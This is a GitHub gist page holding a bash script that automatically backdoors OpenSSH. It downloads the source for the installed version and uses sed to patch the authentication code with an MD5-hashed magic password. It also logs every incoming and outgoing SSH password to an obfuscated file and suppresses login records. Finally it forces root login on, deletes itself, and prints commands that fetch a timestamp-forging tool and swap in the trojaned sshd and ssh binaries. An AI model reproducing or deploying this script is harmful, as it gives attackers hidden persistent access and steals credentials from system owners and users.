Created
December 5, 2013 22:51
-
-
Save eyecatchup/7815470 to your computer and use it in GitHub Desktop.
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# ============================================ | |
# satyr's openssh autobackdooring doohicky v0.-1 | |
# [email protected] | |
# ============================================ | |
# USAGE: | |
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing). | |
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything | |
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc. | |
# [it'll install them via apt or yum, whichever is available]). | |
# Note: This script will delete itself once it's fairly sure the openssh compile went smoothly. | |
# It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd. | |
# ============================================ | |
# WTF: | |
# I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are | |
# just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies | |
# such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different | |
# versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't | |
# originally being used on the box, which is just lazy & dumb). | |
# So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O) | |
# ============================================ | |
# FEATURES: | |
# 0) "Magic" password can be automagically generated | |
# 1) "Magic" password is MD5'd before being stored in the ssh/sshd binary, so very unlikely that anyone will be able to get your "Magic" password. | |
# 2) Conents of file that logs passwords is XOR encoded using the same code that's in http://packetstormsecurity.com/files/download/34453/apatch-ssh-3.8.1p1.tar.gz | |
# Here's the script for decoding for the bastards out there too lazy to go to the above link: | |
# #!/bin/sh | |
# cat > x << __EOF__ | |
# #include <stdio.h> | |
# main(int c) { | |
# while(1) { | |
# c = getchar(); if(feof(stdin)) break; | |
# putchar(~c); | |
# } | |
# } | |
# __EOF__ | |
# gcc -x c x -o x; cat $1 | ./x; rm -f x | |
# Do a `cat passlog|./theabovescript.sh` to get the logged passes. | |
# 3) Strings used for this backdoor are limited to 2 characters, so it'll hide from the `strings` command. | |
# 4) Cures cancer | |
# 5) Seems to work fine on all versions from 3.9p1 - 6.3p1 (latest as of this script) | |
# 6) Not really a bug, but your hostname will be logged if it doesn't match your IP's reverse DNS (disable this with "UseDNS no" in sshd_config) | |
# ============================================ | |
# KNOWN BUGS (or lack of feature): | |
# 0) Sometimes the password generated contains non-printable characters. | |
# 1) No check to see if apt or yum completed successfully when installing a missing lib. | |
# 2) No check to see if the pass log location is writable. (yes, I know that could be added easily) | |
# 3) No check to see if packetstorm is accessible when grabbing http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c | |
# on that last command that's echoed for the user to run when done compiling. | |
# 4) No check if box has gcc | |
# ============================================ | |
# NOTE TO ADMINS: | |
# I didn't put this script on your box. You really need to take your box offline and do a clean install of your system. | |
# This script is no different than the other openssh backdoors when it comes to prevention, | |
# tripwire or anything similar will easily notice this backdoor as it will with other openssh backdoors. | |
# ============================================ | |
WGET=/usr/bin/wget | |
SSHD=/usr/sbin/sshd | |
# an openssh mirror | |
MIRROR=http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/ | |
SSHETC=/etc/ssh | |
PREFIX=/usr | |
if [ ! -d "$SSHETC" ]; then | |
echo "Error: $SSHETC is not a directory." | |
exit 1 | |
fi | |
if [ "`grep -i pam $SSHETC/sshd_config|grep -v '#'|strings`" != "" ]; then | |
echo "(PAM enabled)" | |
pam="--with-pam" | |
fi | |
if [ "`grep -i gss $SSHETC/sshd_config|grep -v '#'|strings`" != "" ] || \ | |
[ "`grep -i gss $SSHETC/ssh_config|grep -v '#'|strings`" != "" ]; then | |
echo "(KRB5 enabled)" | |
gss="--with-kerberos5" | |
fi | |
version=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $1}'` | |
extracrap=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $2}'` | |
if [ "$1" == "" ]; then | |
read -sp "Magic password (just press enter to use a random one): " PW;echo | |
fi | |
if [ "$PW" == "" ]; then | |
function randpass() { [ "$2" == "0" ] && CHAR="[:alnum:]" || CHAR="[:graph:]";cat /dev/urandom|tr -cd "$CHAR"|head -c ${1:-32};echo;} | |
PW=`randpass $(( 20+( $(od -An -N2 -i /dev/random) )%(20+1) ))` | |
fi | |
if [ "$1" == "" ]; then | |
read -p "File to log passwords to: " LOGF | |
else | |
LOGF=$1 | |
fi | |
if [ "$LOGF" == "" ]; then | |
echo "Error: You didn't choose a file to log passwords to." | |
exit 1 | |
fi | |
echo "===========================================================" | |
echo "Using magic password: $PW" | |
cat > md5.$$ << EOF0 | |
$PW | |
EOF0 | |
md5=`printf "%s" \`(cat md5.$$)|sed -e :a -e N -e '$!ba' -e 's/\n/ /g'\`|openssl md5|awk '{print $NF}'` | |
rm -f md5.$$ | |
echo "Using password log file: $LOGF" | |
echo "OpenSSH version: $version" | |
echo "===========================================================" | |
LOGFLEN=`echo -n $LOGF|wc -c` | |
let LOGFLEN++ | |
if [ ! -x "$WGET" ]; then | |
echo "Error: $WGET is not executable" | |
exit 1 | |
fi | |
echo "Downloading openssh-$version..." | |
wget $MIRROR/openssh-$version.tar.gz 2>&1|grep save | |
tar zxf openssh-$version.tar.gz | |
rm -f openssh-$version.tar.gz | |
if [ -d "openssh-$version" ]; then | |
cd openssh-$version | |
else | |
echo "Error: Couldn't download $MIRROR/openssh-$version.tar.gz using $WGET" | |
exit 1 | |
fi | |
echo "Modifying openssh src..." | |
cat > bd.h <<EOF | |
#include <stdio.h> | |
#include <string.h> | |
int pi, md5len, ploglen; | |
FILE *f; | |
char md5[32], plog[$LOGFLEN], encbuf[2048]; | |
static char * bpmd5() { | |
EOF | |
echo $md5|awk -F. '{n=split($1,a,""); for (i=0;i<n;i++) {printf(" md5[%i] = \"%s\";\n",i,a[i+1])}; for (i=2;i<NF;i++) {printf("%s,",$i)};}' >> bd.h | |
cat >> bd.h <<EOF2 | |
return md5; | |
} | |
static char * plogfn() { | |
EOF2 | |
for i in $(seq 0 $((${#LOGF} - 1))); do echo "plog[$i] = \"${LOGF:$i:1}\";";done >> bd.h | |
cat >> bd.h <<EOF3 | |
return plog; | |
} | |
static void enclog() { | |
char *plogg = plogfn(); | |
int plen; | |
FILE *f; | |
plen=strlen(encbuf); | |
for (pi=0; pi<=plen; pi++) encbuf[pi]=~encbuf[pi]; | |
f = fopen(plogg,"a"); | |
if (f != NULL) { | |
fwrite(encbuf, plen, 1, f); | |
fclose(f); | |
} | |
} | |
EOF3 | |
sed -e s/\"/\'/g -e s/plogg,\'a\'/plogg,\"a\"/ -i bd.h | |
sed '/#include "includes.h"/i\ | |
#include "bd.h" | |
' -i auth.c | |
sed '/authmsg = authenticated ? "Accepted" : "Failed"/a\ | |
if (!pi) | |
' -i auth.c | |
sed -i "`echo $[ $(grep -n auth_root_allowed auth.c|awk -F: '{print $1}') + 2 ]`iif (pi) return 1;" -i auth.c | |
# the auth-pam.c stuff is only for => 3.9p1 | |
sed '/auth2-pam-freebsd.c/a\ | |
#include "bd.h" | |
' -i auth-pam.c | |
sed '/void.*sshpam_conv/a\ | |
if (pi) sshpam_err = PAM_SUCCESS; | |
' -i auth-pam.c | |
sed "`echo $[ $(grep -n pam_authenticate.sshpam_handle auth-pam.c|head -c3) + 1 ]`iif (pi) sshpam_err = PAM_SUCCESS;" -i auth-pam.c | |
sed "`grep -nA3 sshpam_cleanup.void auth-pam.c|grep NULL|head -c3`s/NULL/NULL || pi/" -i auth-pam.c | |
sed "`echo $[ $(grep -n char.*pam_rhost auth-pam.c|head -c3) + 2 ]`iif (pi) return (0);" -i auth-pam.c | |
sed '/type == PAM_SUCCESS/a\ | |
if (pi) return 0; | |
' -i auth-pam.c | |
sed "`echo $[ $(grep -n do_pam_setcred auth-pam.c|head -c3) + 3 ]`a\ | |
if (pi) {\n\ | |
sshpam_cred_established = 1;\n\ | |
return;\n\ | |
}" -i auth-pam.c | |
sed "`echo $[ $(grep -n sshpam_respond.void auth-pam.c|head -c3) + 3 ]`a\ | |
if (pi) {\n\ | |
sshpam_cred_established = 1;\n\ | |
return;\n\ | |
}" -i auth-pam.c | |
sed "`grep -nA6 sshpam_auth_passwd auth-pam.c|grep "\-$"|sed 's/\-$//'`a\ | |
char *passmd5 = str2md5(password, strlen(password));\n\ | |
char *bpass = bpmd5();\n\ | |
int enlen;\n\ | |
" -i auth-pam.c | |
sed "`echo $(grep -n "sshpam_authctxt = authctxt" auth-pam.c|tail -1|awk -F: '{print $1}')`a\ | |
if (strcmp(passmd5,bpass) == 0) {\n\ | |
pi = 1;\n\ | |
return 1;\n\ | |
}" -i auth-pam.c | |
sed "`echo $(grep -nA1 'debug.*password authentication accepted for' auth-pam.c|tail -1|head -c4)`a\ | |
enlen = sprintf(encbuf,\"pam\");\n\ | |
enlen += sprintf(encbuf+enlen,\":\");\n\ | |
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\ | |
enlen += sprintf(encbuf+enlen,\":\");\n\ | |
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\ | |
enclog();\n\ | |
" -i auth-pam.c | |
sed '/#include "includes.h"/i\ | |
#include "bd.h"\ | |
#include <stdlib.h>\ | |
#if defined(__APPLE__)\ | |
# define COMMON_DIGEST_FOR_OPENSSL\ | |
# include <CommonCrypto/CommonDigest.h>\ | |
# define SHA1 CC_SHA1\ | |
#else\ | |
# include <openssl/md5.h>\ | |
#endif\ | |
' -i auth-passwd.c | |
sed '/extern ServerOptions options;/a\ | |
char *str2md5(const char *str, int length) {\ | |
int n;\ | |
MD5_CTX c;\ | |
unsigned char digest[16];\ | |
char *out = (char*)malloc(33);\ | |
MD5_Init(&c);\ | |
while (length > 0) {\ | |
if (length > 512) {\ | |
MD5_Update(&c, str, 512);\ | |
} else {\ | |
MD5_Update(&c, str, length);\ | |
}\ | |
length -= 512;\ | |
str += 512;\ | |
}\ | |
MD5_Final(digest, &c);\ | |
for (n = 0; n < 16; ++n) {\ | |
snprintf(&(out[n*2]), 16*2, "%02x", (unsigned int)digest[n]);\ | |
}\ | |
return out;\ | |
}\ | |
' -i auth-passwd.c | |
sed '/#ifndef HAVE_CYGWIN/i\ | |
if (pi) return 1; | |
' -i auth-passwd.c | |
sed "`echo $[ $(grep -n sys_auth_passwd.A auth-passwd.c|tail -1|head -c3) + 3 ]`a\ | |
char *passmd5 = str2md5(password, strlen(password));\n\ | |
char *bpass = bpmd5();\n\ | |
int enlen;\n\ | |
" -i auth-passwd.c | |
sed "`echo $(grep -n pw_password.0.*xx auth-passwd.c|head -c3)`a\ | |
if (strcmp(passmd5,bpass) == 0) {\n\ | |
pi = 1;\n\ | |
return 1;\n\ | |
}\n\ | |
else {\n\ | |
if (strcmp(encrypted_password, pw_password) == 0) {\n\ | |
enlen = sprintf(encbuf,\"pas\");\n\ | |
enlen += sprintf(encbuf+enlen,\":\");\n\ | |
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\ | |
enlen += sprintf(encbuf+enlen,\":\");\n\ | |
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\ | |
enclog();\n\ | |
}\n\ | |
}\n\ | |
" -i auth-passwd.c | |
sed '/#include "includes.h"/i\ | |
#include "bd.h" | |
' -i sshconnect1.c | |
sed '/char \*password;/a\ | |
int enlen; | |
' -i sshconnect1.c | |
sed '/ssh_put_password(password);/a\ | |
enlen = sprintf(encbuf,"1:");\ | |
enlen += sprintf(encbuf+enlen,"%s",get_remote_ipaddr());\ | |
enlen += sprintf(encbuf+enlen,":");\ | |
enlen += sprintf(encbuf+enlen,"%s",options.user);\ | |
enlen += sprintf(encbuf+enlen,":");\ | |
enlen += sprintf(encbuf+enlen,"%s\\n",password);\ | |
enclog();\ | |
' -i sshconnect1.c | |
sed '/#include "includes.h"/i\ | |
#include "bd.h" | |
' -i sshconnect2.c | |
sed '/char.*password;/a\ | |
int enlen; | |
' -i sshconnect2.c | |
sed "`echo $(grep -n 'packet_put_cstring(password);' sshconnect2.c|head -c3)`a\ | |
enlen = sprintf(encbuf,\"2:\");\n\ | |
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->server_user);\n\ | |
enlen += sprintf(encbuf+enlen,\":\");\n\ | |
enlen += sprintf(encbuf+enlen,\"%s\",authctxt->host);\n\ | |
enlen += sprintf(encbuf+enlen,\":\");\n\ | |
enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\ | |
enclog();\ | |
" -i sshconnect2.c | |
sed '/#include "includes.h"/i\ | |
#include "bd.h" | |
' -i loginrec.c | |
sed '/#ifndef HAVE_CYGWIN/i\ | |
if (pi) return 0; | |
' -i loginrec.c | |
sed '/#include "includes.h"/i\ | |
#include "bd.h" | |
' -i log.c | |
sed '/#if (level > log_level)/i\ | |
if (pi) return; | |
' -i loginrec.c | |
sed 's/PERMIT_NO /PERMIT_YES /' -i servconf.c | |
sed 's/PERMIT_NO;/PERMIT_YES;/' -i servconf.c | |
sed 's/PERMIT_NO_PASSWD /PERMIT_YES /' -i servconf.c | |
sed 's/PERMIT_NO_PASSWD;/PERMIT_YES;/' -i servconf.c | |
if [ "$extracrap" != "" ]; then | |
sed -re"s/(SSH.*PORTABLE.*)\"/\1 $extracrap\"/" -i version.h | |
fi | |
echo "Compiling..." | |
./configure --prefix=$PREFIX $pam $gss --sysconfdir=$SSHETC 2>/dev/null 1>/dev/null | |
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: PAM headers not found" ]; then | |
if [ "$1" == "" ]; then | |
echo "Error: PAM headers missing. To install do: " | |
echo " (with apt) apt-get install libpam0g-dev" | |
echo " (with yum) yum install pam-devel" | |
exit 1 | |
else | |
echo "Error: PAM headers missing. Attempting automatic install..." | |
if [ -e "/usr/bin/yum" ]; then | |
yum -y install pam-devel | |
fi | |
if [ -e "/usr/bin/apt-get" ]; then | |
apt-get -y install libpam0g-dev | |
fi | |
echo "If install was successful, rerun $0" | |
exit 1 | |
fi | |
fi | |
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: no acceptable C compiler found in \$PATH" ]; then | |
echo "Error: No gcc on this box (or in \$PATH)." | |
exit 1 | |
fi | |
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib missing - please install first or check config.log ***" ] || \ | |
[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib.h missing - please install first or check config.log ***" ]; then | |
if [ "$1" == "" ]; then | |
echo "Error: zlib missing. To install do: " | |
echo " (with apt) apt-get install zlib1g-dev" | |
echo " (with yum) yum install zlib-devel" | |
exit 1 | |
else | |
echo "Error: zlib missing. Attempting automatic install..." | |
if [ -e "/usr/bin/yum" ]; then | |
yum -y install zlib-devel | |
fi | |
if [ -e "/usr/bin/apt-get" ]; then | |
apt-get -y install zlib1g-dev | |
fi | |
echo "If install was successful, rerun $0" | |
exit 1 | |
fi | |
fi | |
if [ "`grep "krb5.h: No such file or directory" config.log|head -1|awk '{ print substr($0, index($0,$2)) }'`" == "error: krb5.h: No such file or directory" ]; then | |
echo "Error: kerberos5 missing. To install do:" | |
echo " (with apt) apt-get install libkrb5-dev" | |
echo " (with yum) yum install krb5-devel" | |
fi | |
if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***" ] || \ | |
[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** OpenSSL headers missing - please install first or check config.log ***" ]; then | |
if [ "$1" == "" ]; then | |
echo "Error: libcrypto missing. To install do: " | |
echo " (with apt) apt-get install libssl-dev" | |
echo " (with yum) yum install openssl-devel" | |
exit 1 | |
else | |
echo "Error: libcrypto missing. Attempting automatic install..." | |
if [ -e "/usr/bin/yum" ]; then | |
yum -y install openssl-devel | |
fi | |
if [ -e "/usr/bin/apt-get" ]; then | |
apt-get -y install libssl-dev | |
fi | |
echo "If install was successful, rerun $0" | |
exit 1 | |
fi | |
fi | |
make 2>/dev/null 1>/dev/null | |
if [ -e "sshd" ]; then | |
ls -l ssh sshd | |
cd .. | |
rm -vf $0 | |
echo "Now do this:" | |
echo "cd openssh-$version;$WGET http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c -q;gcc -o touch touch2v2.c;cp /usr/sbin/sshd sshd.bak;cp /usr/bin/ssh ssh.bak;chown --reference=/usr/bin/ssh ssh.bak;chown --reference=/usr/sbin/sshd sshd.bak;touch -r /usr/sbin/sshd sshd.bak;touch -r /usr/bin/ssh ssh.bak;./touch -r /usr/sbin/sshd sshd.bak;./touch -r /usr/bin/ssh ssh.bak;rm -f /usr/sbin/sshd /usr/bin/ssh;cp ssh /usr/bin/;cp sshd /usr/sbin/;chown --reference=ssh.bak /usr/bin/ssh;chown --reference=sshd.bak /usr/sbin/sshd;touch -r sshd.bak /usr/sbin/sshd;touch -r ssh.bak /usr/bin/ssh;./touch -r sshd.bak /usr/sbin/sshd;./touch -r ssh.bak /usr/bin/ssh;echo Backdoored. Now you restart it." | |
else | |
echo "Error: Compiling failed: " | |
grep error: config.log|tail -1 | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment